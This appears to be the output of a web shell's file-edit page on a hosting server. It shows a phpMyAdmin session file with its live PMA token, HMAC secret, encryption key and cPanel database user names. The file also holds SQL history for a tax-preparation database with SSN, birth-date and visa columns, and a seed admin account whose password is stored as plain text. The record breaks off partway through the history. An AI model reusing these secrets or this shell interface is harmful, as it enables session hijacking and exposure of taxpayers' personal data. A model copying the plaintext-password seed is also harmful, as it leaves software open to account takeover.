

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: sess_4ffe4edd21e34fb8b7de873575f21834</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'> PMA_token |s:32:&quot;29226f5c2c564a322e2b6a2b3c7c4761&quot;; HMAC_secret |s:16:&quot;m:rI,.[neGa:&gt;NDu&quot;;auth_type|s:3:&quot;env&quot;;browser_access_time|a:7:{s:7:&quot;default&quot;;i:1763128527;s:36:&quot;367386a8-211d-7db9-c246-fa02ce0d2542&quot;;i:1762952207;s:36:&quot;8bf035cb-2b09-f867-37ab-7326f02a141b&quot;;i:1762974103;s:36:&quot;2648a552-a797-25b2-18c0-639da8344742&quot;;i:1762976063;s:36:&quot;9c68c93b-531b-da17-26ec-2a1c5bd1a5e3&quot;;i:1763046860;s:36:&quot;7c5efdcc-b847-2166-3983-78c66959c75b&quot;;i:1763124918;s:36:&quot;30071788-e2e5-f52b-e3d3-f0d925ea05ae&quot;;i:1763128402;}encryption_key|s:32:&quot;�$�f-���-�JV�=�����Pȵ���]��C�&quot;;relation|a:1:{i:1;a:41:{s:7:&quot;version&quot;;s:5:&quot;5.2.2&quot;;s:4:&quot;user&quot;;N;s:2:&quot;db&quot;;N;s:8:&quot;bookmark&quot;;N;s:15:&quot;central_columns&quot;;N;s:11:&quot;column_info&quot;;N;s:17:&quot;designer_settings&quot;;N;s:16:&quot;export_templates&quot;;N;s:8:&quot;favorite&quot;;N;s:7:&quot;history&quot;;N;s:16:&quot;navigationhiding&quot;;N;s:9:&quot;pdf_pages&quot;;N;s:6:&quot;recent&quot;;N;s:8:&quot;relation&quot;;N;s:13:&quot;savedsearches&quot;;N;s:12:&quot;table_coords&quot;;N;s:10:&quot;table_info&quot;;N;s:13:&quot;table_uiprefs&quot;;N;s:8:&quot;tracking&quot;;N;s:10:&quot;userconfig&quot;;N;s:10:&quot;usergroups&quot;;N;s:5:&quot;users&quot;;N;s:12:&quot;bookmarkwork&quot;;b:0;s:8:&quot;mimework&quot;;b:0;s:18:&quot;centralcolumnswork&quot;;b:0;s:8:&quot;commwork&quot;;b:0;s:9:&quot;menuswork&quot;;b:0;s:20:&quot;designersettingswork&quot;;b:0;s:11:&quot;displaywork&quot;;b:0;s:19:&quot;exporttemplateswork&quot;;b:0;s:12:&quot;favoritework&quot;;b:0;s:7:&quot;navwork&quot;;b:0;s:7:&quot;pdfwork&quot;;b:0;s:10:&quot;recentwork&quot;;b:0;s:7:&quot;relwork&quot;;b:0;s:17:&quot;savedsearcheswork&quot;;b:0;s:11:&quot;historywork&quot;;b:0;s:12:&quot;trackingwork&quot;;b:0;s:11:&quot;uiprefswork&quot;;b:0;s:14:&quot;userconfigwork&quot;;b:0;s:8:&quot;allworks&quot;;b:0;}}userconfig|a:2:{s:2:&quot;db&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:12:&quot;Console/Mode&quot;;s:8:&quot;collapse&quot;;}s:2:&quot;ts&quot;;i:1763128527;}two_factor_check|b:1;cache|a:3:{s:8:&quot;server_1&quot;;a:3:{s:15:&quot;userprefs_mtime&quot;;i:1763128519;s:14:&quot;userprefs_type&quot;;s:7:&quot;session&quot;;s:12:&quot;config_mtime&quot;;i:1754420662;}s:25:&quot;server_1_cpses_qbdyuxgiy3&quot;;a:17:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:9:{i:0;s:25:&quot;qbfdcvcb\_site-management&quot;;i:1;s:21:&quot;qbfdcvcb\_stf\_portal&quot;;i:2;s:15:&quot;qbfdcvcb\_teats&quot;;i:3;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:4;s:14:&quot;qbfdcvcb\_capp&quot;;i:5;s:19:&quot;qbfdcvcb\_wp\_qo21x&quot;;i:6;s:17:&quot;qbfdcvcb\_bagisto&quot;;i:7;s:14:&quot;qbfdcvcb\_csms&quot;;i:8;s:19:&quot;qbfdcvcb\_ecs\_csms&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:17:&quot;menu-levels-table&quot;;a:11:{s:6:&quot;browse&quot;;s:6:&quot;Browse&quot;;s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:6:&quot;insert&quot;;s:6:&quot;Insert&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;}s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qbdyuxgiy3@localhost&quot;;s:12:&quot;is_superuser&quot;;b:0;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}s:25:&quot;server_1_cpses_qbhzy6px76&quot;;a:16:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:9:{i:0;s:14:&quot;qbfdcvcb\_capp&quot;;i:1;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:2;s:19:&quot;qbfdcvcb\_wp\_qo21x&quot;;i:3;s:14:&quot;qbfdcvcb\_csms&quot;;i:4;s:25:&quot;qbfdcvcb\_site-management&quot;;i:5;s:19:&quot;qbfdcvcb\_ecs\_csms&quot;;i:6;s:21:&quot;qbfdcvcb\_stf\_portal&quot;;i:7;s:15:&quot;qbfdcvcb\_teats&quot;;i:8;s:17:&quot;qbfdcvcb\_bagisto&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qbhzy6px76@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}}tmpval|a:14:{s:14:&quot;favoriteTables&quot;;a:1:{i:1;a:0:{}}s:12:&quot;recentTables&quot;;a:1:{i:1;a:0:{}}s:18:&quot;table_limit_offset&quot;;i:0;s:21:&quot;table_limit_offset_db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;query&quot;;a:10:{s:32:&quot;5a877f12ce52d2f92937d76ab0c3a221&quot;;a:8:{s:3:&quot;sql&quot;;s:3165:&quot;-- Tax organizer table holds answers from the multi‑step tax organizer form
CREATE TABLE IF NOT EXISTS `tax_organizers` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `client_id` INT NOT NULL,
  `tax_year` INT NOT NULL,
  `prior_tax_year` INT DEFAULT NULL,
  `filing_status` ENUM(&#039;MFJ&#039;,&#039;SINGLE&#039;,&#039;MFS&#039;,&#039;HOH&#039;,&#039;QSS&#039;) DEFAULT NULL,
  -- Primary taxpayer details
  `primary_first_name` VARCHAR(100) DEFAULT NULL,
  `primary_middle_name` VARCHAR(100) DEFAULT NULL,
  `primary_last_name` VARCHAR(100) DEFAULT NULL,
  `primary_ssn_itin` VARCHAR(20) DEFAULT NULL,
  `primary_dob` DATE DEFAULT NULL,
  `primary_occupation` VARCHAR(100) DEFAULT NULL,
  `primary_current_address` TEXT,
  `primary_cell_number` VARCHAR(20) DEFAULT NULL,
  `primary_alternative_number` VARCHAR(20) DEFAULT NULL,
  `primary_email` VARCHAR(255) DEFAULT NULL,
  `primary_first_port_of_entry_date` DATE DEFAULT NULL,
  `primary_visa_status_2024_12_31` VARCHAR(50) DEFAULT NULL,
  `remarks` TEXT,
  -- Spouse details
  `spouse_first_name` VARCHAR(100) DEFAULT NULL,
  `spouse_middle_name` VARCHAR(100) DEFAULT NULL,
  `spouse_last_name` VARCHAR(100) DEFAULT NULL,
  `spouse_ssn_itin` VARCHAR(20) DEFAULT NULL,
  `spouse_dob` DATE DEFAULT NULL,
  `spouse_occupation` VARCHAR(100) DEFAULT NULL,
  `spouse_current_address` TEXT,
  `spouse_cell_number` VARCHAR(20) DEFAULT NULL,
  `spouse_alternative_number` VARCHAR(20) DEFAULT NULL,
  `spouse_email` VARCHAR(255) DEFAULT NULL,
  `spouse_first_port_of_entry_date` DATE DEFAULT NULL,
  `spouse_visa_status_2024_12_31` VARCHAR(50) DEFAULT NULL,
  -- Dependent 1 details
  `dep1_first_name` VARCHAR(100) DEFAULT NULL,
  `dep1_middle_name` VARCHAR(100) DEFAULT NULL,
  `dep1_last_name` VARCHAR(100) DEFAULT NULL,
  `dep1_ssn_itin` VARCHAR(20) DEFAULT NULL,
  `dep1_dob` DATE DEFAULT NULL,
  `dep1_filing_status` VARCHAR(20) DEFAULT NULL,
  `dep1_occupation` VARCHAR(100) DEFAULT NULL,
  `dep1_current_address` TEXT,
  `dep1_cell_number` VARCHAR(20) DEFAULT NULL,
  `dep1_alternative_number` VARCHAR(20) DEFAULT NULL,
  `dep1_email` VARCHAR(255) DEFAULT NULL,
  `dep1_first_port_of_entry_date` DATE DEFAULT NULL,
  `dep1_visa_status_2024_12_31` VARCHAR(50) DEFAULT NULL,
  -- Dependent 2 details
  `dep2_first_name` VARCHAR(100) DEFAULT NULL,
  `dep2_middle_name` VARCHAR(100) DEFAULT NULL,
  `dep2_last_name` VARCHAR(100) DEFAULT NULL,
  `dep2_ssn_itin` VARCHAR(20) DEFAULT NULL,
  `dep2_dob` DATE DEFAULT NULL,
  `dep2_filing_status` VARCHAR(20) DEFAULT NULL,
  `dep2_occupation` VARCHAR(100) DEFAULT NULL,
  `dep2_current_address` TEXT,
  `dep2_cell_number` VARCHAR(20) DEFAULT NULL,
  `dep2_alternative_number` VARCHAR(20) DEFAULT NULL,
  `dep2_email` VARCHAR(255) DEFAULT NULL,
  `dep2_first_port_of_entry_date` DATE DEFAULT NULL,
  `dep2_visa_status_2024_12_31` VARCHAR(50) DEFAULT NULL,
  `created_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `fk_tax_organizers_client_id` (`client_id`),
  CONSTRAINT `fk_tax_organizers_client_id` FOREIGN KEY (`client_id`) REFERENCES `clients` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;e6b2cff2b5e31b432f7d5a304d8e8900&quot;;a:8:{s:3:&quot;sql&quot;;s:724:&quot;-- Filings table stores each client&#039;s tax filing instances
CREATE TABLE IF NOT EXISTS `filings` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `client_id` INT NOT NULL,
  `filing_no` VARCHAR(50) NOT NULL UNIQUE,
  `tax_year` INT NOT NULL,
  `filing_type` ENUM(&#039;R&#039;,&#039;X&#039;) NOT NULL DEFAULT &#039;R&#039;,
  `status` VARCHAR(50) NOT NULL DEFAULT &#039;Pending&#039;,
  `created_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `updated_by` INT DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `fk_filings_client_id` (`client_id`),
  CONSTRAINT `fk_filings_client_id` FOREIGN KEY (`client_id`) REFERENCES `clients` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;894ff8608b7789c9eb66eaff8132d729&quot;;a:8:{s:3:&quot;sql&quot;;s:754:&quot;-- Documents table stores uploaded files and organizer submissions
CREATE TABLE IF NOT EXISTS `documents` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `client_id` INT NOT NULL,
  `tax_year` INT DEFAULT NULL,
  `doc_name` VARCHAR(255) NOT NULL,
  `file_path` VARCHAR(255) NOT NULL,
  `uploaded_by_role` ENUM(&#039;client&#039;,&#039;employee&#039;,&#039;admin&#039;) NOT NULL,
  `uploaded_by` INT DEFAULT NULL,
  `doc_type` ENUM(&#039;tax_organizer&#039;,&#039;client_upload&#039;,&#039;employee_upload&#039;) NOT NULL DEFAULT &#039;client_upload&#039;,
  `uploaded_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `fk_documents_client_id` (`client_id`),
  CONSTRAINT `fk_documents_client_id` FOREIGN KEY (`client_id`) REFERENCES `clients` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;3bf63cc0247eca974ed718f04884527f&quot;;a:8:{s:3:&quot;sql&quot;;s:793:&quot;-- Invoices table stores invoices linked to a filing
CREATE TABLE IF NOT EXISTS `invoices` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `filing_id` INT NOT NULL,
  `invoice_no` VARCHAR(50) NOT NULL UNIQUE,
  `year` INT NOT NULL,
  `type` ENUM(&#039;R&#039;,&#039;X&#039;) NOT NULL,
  `final_amount` DECIMAL(10,2) NOT NULL DEFAULT 0,
  `due_date` DATE DEFAULT NULL,
  `status` ENUM(&#039;pending&#039;,&#039;paid&#039;) NOT NULL DEFAULT &#039;pending&#039;,
  `created_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `updated_by` INT DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `fk_invoices_filing_id` (`filing_id`),
  CONSTRAINT `fk_invoices_filing_id` FOREIGN KEY (`filing_id`) REFERENCES `filings` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;3983ed9b3ca24174ca5390377716b6f8&quot;;a:8:{s:3:&quot;sql&quot;;s:479:&quot;-- Invoice items table holds individual line items for invoices
CREATE TABLE IF NOT EXISTS `invoice_items` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `invoice_id` INT NOT NULL,
  `description` VARCHAR(255) NOT NULL,
  `amount` DECIMAL(10,2) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `fk_invoice_items_invoice_id` (`invoice_id`),
  CONSTRAINT `fk_invoice_items_invoice_id` FOREIGN KEY (`invoice_id`) REFERENCES `invoices` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;6b390d72c6a350226dabcebb00334131&quot;;a:8:{s:3:&quot;sql&quot;;s:344:&quot;-- Pricing items table holds reusable pricing definitions for invoice creation
CREATE TABLE IF NOT EXISTS `pricing_items` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `name` VARCHAR(100) NOT NULL,
  `price` DECIMAL(10,2) NOT NULL,
  `created_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;3eaac4a091c415f44f89c2e8c150b146&quot;;a:8:{s:3:&quot;sql&quot;;s:501:&quot;-- Payments table stores records of invoice payments
CREATE TABLE IF NOT EXISTS `payments` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `invoice_id` INT NOT NULL,
  `amount` DECIMAL(10,2) NOT NULL,
  `paid_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_by` INT DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `fk_payments_invoice_id` (`invoice_id`),
  CONSTRAINT `fk_payments_invoice_id` FOREIGN KEY (`invoice_id`) REFERENCES `invoices` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;f58799faa141b96abf89df84e36ca2d3&quot;;a:8:{s:3:&quot;sql&quot;;s:728:&quot;-- Leads table stores prospective clients
CREATE TABLE IF NOT EXISTS `leads` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `name` VARCHAR(100) NOT NULL,
  `email` VARCHAR(255) DEFAULT NULL,
  `phone` VARCHAR(20) DEFAULT NULL,
  `status` VARCHAR(50) NOT NULL DEFAULT &#039;Unassigned&#039;,
  `team_id` INT DEFAULT NULL,
  `caller_id` INT DEFAULT NULL,
  `notes` TEXT,
  `created_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `updated_by` INT DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `fk_leads_team_id` (`team_id`),
  CONSTRAINT `fk_leads_team_id` FOREIGN KEY (`team_id`) REFERENCES `teams` (`id`) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;7b2d0f5f0ea1bd54674464910dc76996&quot;;a:8:{s:3:&quot;sql&quot;;s:569:&quot;-- Status logs record changes to lead status with actor and timestamp
CREATE TABLE IF NOT EXISTS `status_logs` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `lead_id` INT NOT NULL,
  `status` VARCHAR(50) NOT NULL,
  `updated_by` INT DEFAULT NULL,
  `updated_by_role` ENUM(&#039;admin&#039;,&#039;employee&#039;) DEFAULT NULL,
  `updated_at` TIMESTAMP NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `fk_status_logs_lead_id` (`lead_id`),
  CONSTRAINT `fk_status_logs_lead_id` FOREIGN KEY (`lead_id`) REFERENCES `leads` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;720ed4f52aa0f4694cc88911fad88a8d&quot;;a:8:{s:3:&quot;sql&quot;;s:207:&quot;-- Insert a default admin user (plain text password for demonstration)
INSERT INTO `users` (`id`, `name`, `email`, `password`, `role`) VALUES
  (1, &#039;Administrator&#039;, &#039;admin@example.com&#039;, &#039;admin123&#039;, &#039;admin&#039;);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}}s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;s:12:&quot;display_blob&quot;;b:0;s:19:&quot;hide_transformation&quot;;b:0;s:3:&quot;pos&quot;;i:0;s:8:&quot;max_rows&quot;;i:25;s:12:&quot;repeat_cells&quot;;i:100;}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:&quot;PmaNoRelation_DisableWarning&quot;;b:1;s:12:&quot;ShowCreateDb&quot;;b:0;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}s:7:&quot;Servers&quot;;a:1:{i:1;a:2:{s:7:&quot;only_db&quot;;s:0:&quot;&quot;;s:7:&quot;hide_db&quot;;s:0:&quot;&quot;;}}}debug|a:0:{}flashMessages|a:0:{}sql_history|a:25:{i:0;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:218:&quot;-- Database update script for issue fix
-- Adds tax_year_id column to clients table to resolve unknown column errors during payment status update.

ALTER TABLE clients
    ADD COLUMN IF NOT EXISTS tax_year_id INT NULL;&quot;;}i:1;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:218:&quot;-- Database update script for issue fix
-- Adds tax_year_id column to clients table to resolve unknown column errors during payment status update.

ALTER TABLE clients
    ADD COLUMN IF NOT EXISTS tax_year_id INT NULL;&quot;;}i:2;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:3;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:4;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:5;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:6;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:7;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:8;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:9;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update 